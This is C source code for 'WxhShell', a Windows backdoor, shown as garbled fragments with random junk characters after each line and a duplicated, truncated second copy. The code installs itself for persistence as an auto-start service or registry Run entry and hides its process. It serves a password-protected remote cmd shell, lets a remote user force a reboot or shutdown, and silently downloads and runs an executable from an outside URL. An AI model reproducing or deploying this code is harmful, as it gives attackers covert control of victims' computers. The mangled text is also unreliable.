    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  vywB{%p  
    else { &O' W+4FAc  
    closesocket(wsh); s/"bH3Ob9v  
    ExitThread(0); H a!,9{T  
    } M/<ypJ  
    break; jR/Gd01)  
    } w5m /[Z  
  // 获取shell f]NLR>$L}  
  case 's': { kd'b_D[$H  
    CmdShell(wsh); xk,Uf,,>  
    closesocket(wsh); x4q}xwH  
    ExitThread(0); v}$Q   
    break; layxtECP(  
  } ly%^\jW  
  // 退出 |}G"^r  
  case 'x': { N1'`^ay$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); egq,)6>  
    CloseIt(wsh); {xTq5`&gT  
    break; %> XsKXj  
    } |*{*tW C1  
  // 离开 O\=Z;}<N  
  case 'q': { F1yn@a "=J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )  ;0  
    closesocket(wsh); Nh!`"B2B  
    WSACleanup(); X?_rD'3  
    exit(1); [\ao#f0WR  
    break; \ja6g  
        } ..`c# O&  
  } 1ubu~6  
  } ]K(a32VCH  
,j%\3g`  
  // 提示信息 QEJu.o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oZ%uq78#[%  
} &hWELZe0vv  
  } NljpkeX'  
(ks>F=vk*  
  return; I*-\u  
} ]KFh 1  
[5P-K{Ko  
// shell模块句柄 hY4#4A`I  
int CmdShell(SOCKET sock) wC{sP"D  
{ M1Q&)am  
STARTUPINFO si; oKn$g[,SJh  
ZeroMemory(&si,sizeof(si)); fV"Y/9}(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I1 ]YT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t1Ts!Q2  
PROCESS_INFORMATION ProcessInfo; d'_q9uf'  
char cmdline[]="cmd"; l+Wux$6U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $J6 .0O  
  return 0; pz^S3fy  
} 1clzDwW  
{vD$odi  
// 自身启动模式 }_lG2#Ll5  
int StartFromService(void) q2%cLbI F  
{ {-5)nS^_  
typedef struct )w].m  
{ IUOf/mM5  
  DWORD ExitStatus; MD[hqshoh  
  DWORD PebBaseAddress; F8w7N$/V",  
  DWORD AffinityMask; {7e(0QK  
  DWORD BasePriority; FS"Ja`>j~  
  ULONG UniqueProcessId; I=L[ "]  
  ULONG InheritedFromUniqueProcessId; &kb~N-  
}   PROCESS_BASIC_INFORMATION; gvc@q`_]  
gclj:7U  
PROCNTQSIP NtQueryInformationProcess; |<{SSA  
goR_\b SU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6m&GN4Ca  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2VV>?s  
(XOz_K6c%K  
  HANDLE             hProcess; iF`_-t/k  
  PROCESS_BASIC_INFORMATION pbi; a?-Jj\q  
m'2F#{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ft>B% -;  
  if(NULL == hInst ) return 0;  hlVC+%8  
b()8l'x_|K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wiI@DJ>E  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^y>V-R/N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a#1r'z~]}  
KGJSGvo+y  
  if (!NtQueryInformationProcess) return 0; KF7w{A){  
D*.3]3-I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); le5@WG/x  
  if(!hProcess) return 0; URVW5c  
>)K3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !/}4_s`,  
/o4_rzR?  
  CloseHandle(hProcess); UA.Tp[u  
s~,!E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B>i%:[-e  
if(hProcess==NULL) return 0; G4i%/_JU  
bm;iX*~  
HMODULE hMod; $@VJ@JAe  
char procName[255]; i7dDklj4  
unsigned long cbNeeded; ,.Ofv):=  
E]q>ggeNH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `6rLd>=R  
q;AD#A|\  
  CloseHandle(hProcess); OG#^d5(  
lZwjrU| _  
if(strstr(procName,"services")) return 1; // 以服务启动 C 9%bD  
7Ydqg&  
  return 0; // 注册表启动 N)(m^M(~0  
} p7+{xXf  
1 k!gR  
// 主模块 9?Bh8%$  
int StartWxhshell(LPSTR lpCmdLine) hEjvtfM9\-  
{ "0!#De  
  SOCKET wsl; 6ud?US(  
BOOL val=TRUE; D?ic~-&  
  int port=0; z\v  
  struct sockaddr_in door; xDe^>(,"  
rE*yT(:w  
  if(wscfg.ws_autoins) Install(); `_yksh3zL4  
og$dv 23  
port=atoi(lpCmdLine); igOX0  
_U*R_2aV  
if(port<=0) port=wscfg.ws_port; O4-#)#-)S~  
xpa+R^D5G  
  WSADATA data; dZ|bw0~_!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1N),k5I  
g,E)F90  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v0r:qku  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C=c&.-Nb9  
  door.sin_family = AF_INET; J*g<]P&p0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); O#tmB?n*  
  door.sin_port = htons(port); tln}jpCw  
<c@dE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h(2{+Y+  
closesocket(wsl); <!dZ=9^^ 1  
return 1; OY"BaSEOw}  
} q|YnNk>1  
Wr Wz+5M8  
  if(listen(wsl,2) == INVALID_SOCKET) { R]od/u/$  
closesocket(wsl); v2|zIZ  
return 1; }!g$k $y  
} 4-O.i\1q  
  Wxhshell(wsl); L^^f.w#m  
  WSACleanup(); "j%Gr :a  
Y+S<?8pA  
return 0; \.P'8As  
(O ;R~Io  
} Q]/g=Nn ^~  
P,S!Z&!  
// 以NT服务方式启动 "QfF]/:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2v?#r"d  
{ >Dv=lgPF  
DWORD   status = 0; AJ 0Bb7  
  DWORD   specificError = 0xfffffff; Xj?LU7  
d}E6d||A  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;d7Qw~v1s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; R "W=V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {w>ofyqfp&  
  serviceStatus.dwWin32ExitCode     = 0; CNiJuj`  
  serviceStatus.dwServiceSpecificExitCode = 0; M9V,;*  
  serviceStatus.dwCheckPoint       = 0; 3rh t5n2-  
  serviceStatus.dwWaitHint       = 0; ,vi6<C\  
(4l M3clF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9Lt3^MKa"  
  if (hServiceStatusHandle==0) return; YbVZK4  
 mznE Cy  
status = GetLastError(); =w7k@[Bq  
  if (status!=NO_ERROR) >taT V_,  
{ R{4[.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wj$3 L3  
    serviceStatus.dwCheckPoint       = 0; g[2[ zIB=  
    serviceStatus.dwWaitHint       = 0; p<a~L~xH6  
    serviceStatus.dwWin32ExitCode     = status; #6AcM"  
    serviceStatus.dwServiceSpecificExitCode = specificError; '@^<c#h]=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aLevml2:T  
    return; j~2t^Qz  
  } t I +]x]m+  
^YPw'cZZ&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :B/u>  
  serviceStatus.dwCheckPoint       = 0; 7Il /+l(  
  serviceStatus.dwWaitHint       = 0; .@(MNq{"6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ky7-6$  
} ^oHK.x#{  
]N'4q}<5o  
// 处理NT服务事件,比如:启动、停止 ;hDIoSz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $>~4RXC  
{ mpCKF=KL.  
switch(fdwControl) mnMY)-6C  
{ #|xj*+)H  
case SERVICE_CONTROL_STOP: ~xZ )btf  
  serviceStatus.dwWin32ExitCode = 0; wd:SBU~f5*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vP<8 ,XG  
  serviceStatus.dwCheckPoint   = 0; \]/ 6>yT  
  serviceStatus.dwWaitHint     = 0; !ImtnU}  
  { G_p13{"IM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \U`rF  
  } C"}]PW  
  return; VN4H+9E  
case SERVICE_CONTROL_PAUSE: & V/t0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8-vNXvl  
  break; 0.Nik^~  
case SERVICE_CONTROL_CONTINUE: BYDOTy/%nJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oX]c$<w5  
  break; X15e~;&  
case SERVICE_CONTROL_INTERROGATE: g|3FJA/  
  break; :'dH)yO  
}; Y6%O9b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gJn_8\,C>Q  
} c;7ekj  
9%uJ:c?  
// 标准应用程序主函数 u-Ip*1/wp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DCtrTX  
{ 8J7<7Sx  
d 'wWj  
// 获取操作系统版本 T xwZ3E  
OsIsNt=GetOsVer(); s2+s1%^Ll  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H"g p  
,e>N9\*  
  // 从命令行安装 FU~:9EEx  
  if(strpbrk(lpCmdLine,"iI")) Install(); t5za$kW'&  
OGO4~Up  
  // 下载执行文件 $5l=&  
if(wscfg.ws_downexe) { |a {*r.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r(qU~re'  
  WinExec(wscfg.ws_filenam,SW_HIDE); Pd<>E*>}c.  
} 1@0ZP~LTB  
:-.bXOB(  
if(!OsIsNt) { uod&'g{N  
// 如果时win9x,隐藏进程并且设置为注册表启动 5AT[1@H(_  
HideProc(); ?\Jl] {i2  
StartWxhshell(lpCmdLine); ZA4vQDW  
} n.xW"omN  
else ?g'? Ou  
  if(StartFromService()) *e05{C:kS  
  // 以服务方式启动 Yf(QU`w_  
  StartServiceCtrlDispatcher(DispatchTable); Go_~8w0<  
else )Wm:Ilq  
  // 普通方式启动 UYb:q  
  StartWxhshell(lpCmdLine); Xn3Ph!\Z5e  
gg%OOvaj5  
return 0; O}#h^AU-BS  
} f~? MNJ2  
4h~o>(Sq  
O9W|&LAL  
"h}miVArS  
=========================================== }%9A+w}o  
F&lvofy23  
RI_3X5.KQ  
WY%'ps _]<  
=sW(2Im  
] T! >]  
" }A`4ae=  
M1T)e9k=x  
#include <stdio.h> 3 tp'}v  
#include <string.h> B@Q Ate7   
#include <windows.h> 4`7:gfrO,  
#include <winsock2.h> h~ =UFE%'  
#include <winsvc.h> ]MP6VT  
#include <urlmon.h> W]rK*Dc  
!1}A\S  
#pragma comment (lib, "Ws2_32.lib") q~=]_PMP  
#pragma comment (lib, "urlmon.lib") _ZfJfd~  
bEE'50 D  
#define MAX_USER   100 // 最大客户端连接数 i7w>Nvj]  
#define BUF_SOCK   200 // sock buffer sc^TElic  
#define KEY_BUFF   255 // 输入 buffer n_51-^* z  
64>o3Hb2  
#define REBOOT     0   // 重启 &pD6Qq{  
#define SHUTDOWN   1   // 关机 ]?`t spm<t  
=q( ;g]e  
#define DEF_PORT   5000 // 监听端口 5Vzi{y/bL  
=5jX#Dc5.+  
#define REG_LEN     16   // 注册表键长度 qffXm `k  
#define SVC_LEN     80   // NT服务名长度 8I'c83w  
w#5^A(NR  
// 从dll定义API S]3t{s#JW7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y#Ao6Od6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Y\ len  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bCF"4KXK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [g:ZIl4p\P  
:.IVf Zw  
// wxhshell配置信息 VMUK|pC4 K  
struct WSCFG { %_!YonRY|X  
  int ws_port;         // 监听端口 SAt{At  
  char ws_passstr[REG_LEN]; // 口令 fKMbOqU_  
  int ws_autoins;       // 安装标记, 1=yes 0=no %klC& _g~_  
  char ws_regname[REG_LEN]; // 注册表键名 mh"&KX86W  
  char ws_svcname[REG_LEN]; // 服务名 lmZ Ssx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wej8YF@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T,,,+gPx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gD0 FRKn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @O/-~, E68  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %W=S*"e-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <8>gb!DG  
MkG3TODfHB  
}; X9#;quco@  
AAE8j.  
// default Wxhshell configuration Tt.wY=,K  
struct WSCFG wscfg={DEF_PORT, ~1Q$FgLk  
    "xuhuanlingzhe", 8M;VX3X  
    1, G_{x)@  
    "Wxhshell", p*8LS7UT  
    "Wxhshell", PYYOC"$  
            "WxhShell Service", S$Tc\ /{  
    "Wrsky Windows CmdShell Service", ,25Qhz]  
    "Please Input Your Password: ", `Pv[A  
  1, N*N@wJy:5  
  "http://www.wrsky.com/wxhshell.exe", @JS O=8  
  "Wxhshell.exe" j^}p'w Tu{  
    }; J)iy6{0"  
WhsTKy&E  
// 消息定义模块 Rw\ LVRdA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p `)(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6u`E{$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; , [xDNl[Y|  
char *msg_ws_ext="\n\rExit."; n0:Y* Op  
char *msg_ws_end="\n\rQuit."; f:gXXigY,  
char *msg_ws_boot="\n\rReboot..."; xioL6^(Qk,  
char *msg_ws_poff="\n\rShutdown..."; K)c`G_%G  
char *msg_ws_down="\n\rSave to "; |T~C($9  
C3 ^QNhv  
char *msg_ws_err="\n\rErr!"; 5 iUT#  
char *msg_ws_ok="\n\rOK!"; 1CFTQB>  
o/bmS57  
char ExeFile[MAX_PATH]; Bkvh]k;F8  
int nUser = 0; qh!2dj  
HANDLE handles[MAX_USER]; Np=IZ npt  
int OsIsNt; mdW8RsR  
V8w!yc  
SERVICE_STATUS       serviceStatus; 1H{M0e  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6H,n?[zTt  
KPI c?|o/6  
// 函数声明 z{w!yMp"  
int Install(void); /l-lkG5  
int Uninstall(void); vq|o}6Et  
int DownloadFile(char *sURL, SOCKET wsh); T> cvV  
int Boot(int flag); ^fT|Wm<  
void HideProc(void); a,3} o:f  
int GetOsVer(void); o;+$AU1f  
int Wxhshell(SOCKET wsl); ;ZMm6o  
void TalkWithClient(void *cs); s+;J`_M  
int CmdShell(SOCKET sock); ^| L@f  
int StartFromService(void); GE]cH6E  
int StartWxhshell(LPSTR lpCmdLine); fX=o,=-f  
ZtPq */'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yES+0D5<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '`$z!rA  
c=iv\hn  
// 数据结构和表定义 kGsd3t!'  
SERVICE_TABLE_ENTRY DispatchTable[] = ,C%fA>?UF8  
{ hm"i\JZ3N  
{wscfg.ws_svcname, NTServiceMain}, Z<6XB{Nh\  
{NULL, NULL} 3[plwe  
}; 1'wwwxe7  
rcUXYJCh-  
// 自我安装 5(0f"zY  
int Install(void) (he cvJ  
{ 7/nnl0u8  
  char svExeFile[MAX_PATH]; Nf(Np1?;c  
  HKEY key; ]3Z?Q  
  strcpy(svExeFile,ExeFile); Ergh]"AD6-  
Y;ytm #=  
// 如果是win9x系统,修改注册表设为自启动 fG2hCP+  
if(!OsIsNt) { B2\R#&X.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a[;TUc^I1F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MYgh^%w:  
  RegCloseKey(key); 5 Z+2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R#OVJ(#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?-mDvW  
  RegCloseKey(key); Enu/Nj 2  
  return 0; #p@8m_g  
    } $\BRX\6(-  
  } kk_$j_0  
} W<<{}'Db/#  
else { *"4d6  
dLb9p"EE#  
// 如果是NT以上系统,安装为系统服务 \mRRx#-r%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n]$50_@  
if (schSCManager!=0) 3T)GUzt`  
{ acd8?>%[  
  SC_HANDLE schService = CreateService <T?H H$es)  
  ( P%`|Tu!B  
  schSCManager, oG5 :]/F  
  wscfg.ws_svcname, q3a`Y)aVB  
  wscfg.ws_svcdisp, FV>j !>Y  
  SERVICE_ALL_ACCESS, am >X7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y5;l?v94  
  SERVICE_AUTO_START, TX7B(JZD  
  SERVICE_ERROR_NORMAL, 5ve4u  
  svExeFile, <xOv0B  
  NULL, T~B'- >O  
  NULL, o4I&?d7;"  
  NULL, |DAe2RK  
  NULL, > <cK  
  NULL 1<Fh aK  
  ); TEC'}%   
  if (schService!=0)  X$:r  
  { WVaIC$Y  
  CloseServiceHandle(schService); _jkH}o '  
  CloseServiceHandle(schSCManager); ~ KNdV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 29P vPR6  
  strcat(svExeFile,wscfg.ws_svcname); $6\-8zNk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TG ,T>'   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V\k?$}  
  RegCloseKey(key); axT-  
  return 0; r,^}/<*  
    } A#&Q(g\YE  
  } ="fq.Tt  
  CloseServiceHandle(schSCManager); P} =eR  
} XEd|<+P1  
} -oGJPl{r  
2w>l nJ-  
return 1; *Jd,8B/hC  
} <YU+W"jQT  
-~z]ut<Z  
// 自我卸载 /9/svPc]  
int Uninstall(void) ;DWtCtD  
{ Yv0;UKd  
  HKEY key; {)^P_zha[9  
6L--FY>.-  
if(!OsIsNt) { XI6LPA0%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XRU^7@Ylks  
  RegDeleteValue(key,wscfg.ws_regname); 7/*a  
  RegCloseKey(key); n7UZ&ab  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2I!STP{!l  
  RegDeleteValue(key,wscfg.ws_regname); `? ayc/TK  
  RegCloseKey(key); y?BzZ16\bL  
  return 0; C:C9swik"5  
  } Zkn$D:  
} iy&*5U  
} :/e= J  
else { v` 9^?Xw)  
J)6A,:wt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o* q F"xG  
if (schSCManager!=0) v@OyB7}  
{ lNV%R(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MZ_+doN  
  if (schService!=0) .BLF7> M1  
  { fneg[K  
  if(DeleteService(schService)!=0) { H]:z:AAvX  
  CloseServiceHandle(schService); TF %8pIg>Z  
  CloseServiceHandle(schSCManager); :Uu Py|>  
  return 0; B Z:H$v  
  } }NQx2k0  
  CloseServiceHandle(schService); l@}BWSx&ms  
  } !6:q#B*  
  CloseServiceHandle(schSCManager); ;9cBlthh  
} i?^C c\gH  
} ;d17xu?ks  
~<0!sE&y  
return 1; I0\}S [+ H  
} U].u) g$  
Ck,.4@\tK  
// 从指定url下载文件 B"O5P>  
int DownloadFile(char *sURL, SOCKET wsh) hv xvwV1  
{ z~d\d!u1  
  HRESULT hr; )r O`K  
char seps[]= "/"; Q ! 5P  
char *token; Ed/@&52z0  
char *file; Gmcx#?|Tx  
char myURL[MAX_PATH]; Is6<3eQ\x  
char myFILE[MAX_PATH]; l 6.#s3I['  
Ov{fO  
strcpy(myURL,sURL); bTzVmqGY  
  token=strtok(myURL,seps); 1m-"v:fT5D  
  while(token!=NULL) 02]9 OnWw  
  { )=\W sQ  
    file=token; UXB[3SP  
  token=strtok(NULL,seps); @Kri)U i  
  } \mZ\1wzn'{  
uNLB3Rdy}  
GetCurrentDirectory(MAX_PATH,myFILE); [c?']<f4  
strcat(myFILE, "\\"); [P*3ld,,G%  
strcat(myFILE, file); ZIAiVq2)  
  send(wsh,myFILE,strlen(myFILE),0); g0.D36  
send(wsh,"...",3,0); YBgHX [q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sV7dgvVd  
  if(hr==S_OK) lj"L Q(^  
return 0; P=& Je?  
else *VT@  
return 1; }I7/FqrD  
;??wLNdf-  
} Mj$dDtw  
$;*YdZ`q  
// 系统电源模块 l79jd%/m  
int Boot(int flag) q>&F%;q1]  
{ ?r@euZ&  
  HANDLE hToken; ypXKw7f(  
  TOKEN_PRIVILEGES tkp; )>,b>7  
4ei .-  
  if(OsIsNt) { Y_`D5c:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `$`:PT\Zv4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {+[~;ISL  
    tkp.PrivilegeCount = 1; %+$P<Rw7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xmtbSRgK9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ' U(v  
if(flag==REBOOT) { )61CrQiY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o}5:vi]  
  return 0; Yfy6o6*:  
} $4kc i@.  
else { XKp%7;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yz-IZt(  
  return 0; sZ-]yr\E"  
} =S@$"_&  
  } kP%W:4l0  
  else { vII&v+C  
if(flag==REBOOT) { CGg:e:4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |6B:tw/.  
  return 0; *Rshzv[  
} *MkhRLw\,  
else { 6__@?XzJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  L}AR{  
  return 0; q 9qmz[  
} k=Ef)'  
} eEJ8j_G  
# RJy  
return 1; L&ws[8-  
} X.s? =6}g  
(?R  
// win9x进程隐藏模块 ~U8#Iq1  
void HideProc(void) ;-=y}DK  
{ nvD"_.KrJ  
1L'[DKb'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?w# >Cs(  
  if ( hKernel != NULL ) :=~%&  
  { >4\V/ I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l{#m"S7J^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iCN@G&rVw  
    FreeLibrary(hKernel); 6u7 (}K  
  } /+RNPQO O  
u7j-uVG  
return; s~/]nz]"J  
} aJMh>  
W _b $E =  
// 获取操作系统版本 (uOW5,e7  
int GetOsVer(void) O)Nt"k7 b  
{ ~N[hY1}X[  
  OSVERSIONINFO winfo; CpS' 2@6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Beqhe\{  
  GetVersionEx(&winfo); mkBQX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QC<( rx  
  return 1; h9+ylHW_cp  
  else i*_KHK  
  return 0; p{Pa(Z]G  
} W~k!qy `  
[&nwB!kt  
// 客户端句柄模块 U]R?O5K  
int Wxhshell(SOCKET wsl) 8tA.d.8  
{ wt2S[:!p  
  SOCKET wsh; 3N+P~v)T'  
  struct sockaddr_in client; /F;*[JZIb  
  DWORD myID; .F#mT h  
Q77qrx3  
  while(nUser<MAX_USER)  8k J k5  
{ '0 ( Bb  
  int nSize=sizeof(client); _$ixE~w-!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U_}$QW0'  
  if(wsh==INVALID_SOCKET) return 1; 42 p6l   
~n[LL)v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7gVWu"  
if(handles[nUser]==0) )SA$hwR  
  closesocket(wsh); c;U\nC<Y  
else *~!xeL  
  nUser++; +ZRsa`'^  
  } MP}H 5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y^@% Xrs  
V2VsJ  
  return 0; h!K B%4V  
} IJ4"X#Q/  
%- A8`lf<  
// 关闭 socket 2)j\Lg_M  
void CloseIt(SOCKET wsh) 1.,mNY^UN  
{ d`~#uN {  
closesocket(wsh); 1xguG7  
nUser--; !-.-!hBN  
ExitThread(0); v9inBBC q  
} _D,8`na>K  
tB_V%qH  
// 客户端请求句柄 hsqUiB tc6  
void TalkWithClient(void *cs) W$'pUhq\H  
{ {6%uNT>|  
>t D-kzN  
  SOCKET wsh=(SOCKET)cs; ik$wS#1+L  
  char pwd[SVC_LEN]; $,aU"'D  
  char cmd[KEY_BUFF]; =R>Sxaq  
char chr[1]; yQi|^X~?$  
int i,j; p1?}"bHk  
3~cOQ%#]4  
  while (nUser < MAX_USER) { A^K,[8VX  
M%B[>pONb7  
if(wscfg.ws_passstr) { l m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e-e{-pB6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5)nv  
  //ZeroMemory(pwd,KEY_BUFF); }qKeX4\-  
      i=0; >`{i[60r  
  while(i<SVC_LEN) { UkqLLzL  
2#(7,o}Y5  
  // 设置超时 B8_l+dXO  
  fd_set FdRead; ;~1r{kXxA"  
  struct timeval TimeOut; WHNb.>  
  FD_ZERO(&FdRead); .vW~(ZuD  
  FD_SET(wsh,&FdRead); 4|2$b:t  
  TimeOut.tv_sec=8; VBH[aIW  
  TimeOut.tv_usec=0; Nb];LCx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o[v`Am?v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); . \d0lJSr  
|iwTzlt*#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g$ 2M|Q  
  pwd=chr[0]; .R gfP'M  
  if(chr[0]==0xd || chr[0]==0xa) { gZ+I(o{  
  pwd=0; %ly;2H Ik  
  break; lwY{rWo  
  } > T-O3/KN  
  i++; ,B#Y9[R  
    } ^m+W  
,gOQI S56  
  // 如果是非法用户,关闭 socket ;etQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ttsB'|p s  
} 8uT6QCf  
.|aSGv E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aDOH3Ri0K!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1|nB\xgu  
OeAPBhTmFj  
while(1) { )I>rC%2P  
)/U1; O  
  ZeroMemory(cmd,KEY_BUFF); Dq?2mXOqD  
SRD&Uf0M  
      // 自动支持客户端 telnet标准   Rke:*(p*n;  
  j=0; 8@A[ `5  
  while(j<KEY_BUFF) { :9`1bZ?a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IWWFl6$-  
  cmd[j]=chr[0]; kdHql>0  
  if(chr[0]==0xa || chr[0]==0xd) { f9Xw]G9  
  cmd[j]=0; <+$S{Z.  
  break; `UI)H*GA8  
  } > Qtyw.n  
  j++; .lFSFJ??  
    } IRU2/Ycg  
R/wSGP`W  
  // 下载文件 GawO>7w8  
  if(strstr(cmd,"http://")) { AO]lXa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ~Afs  
  if(DownloadFile(cmd,wsh)) 3> (`Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@1W=sl  
  else ~>C>LH>8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f2u2Ns0Ym  
  } )aC+qhh  
  else { 9F+bWo_m  
>ahj|pm  
    switch(cmd[0]) { j41:]6  
  Sy'>JHx  
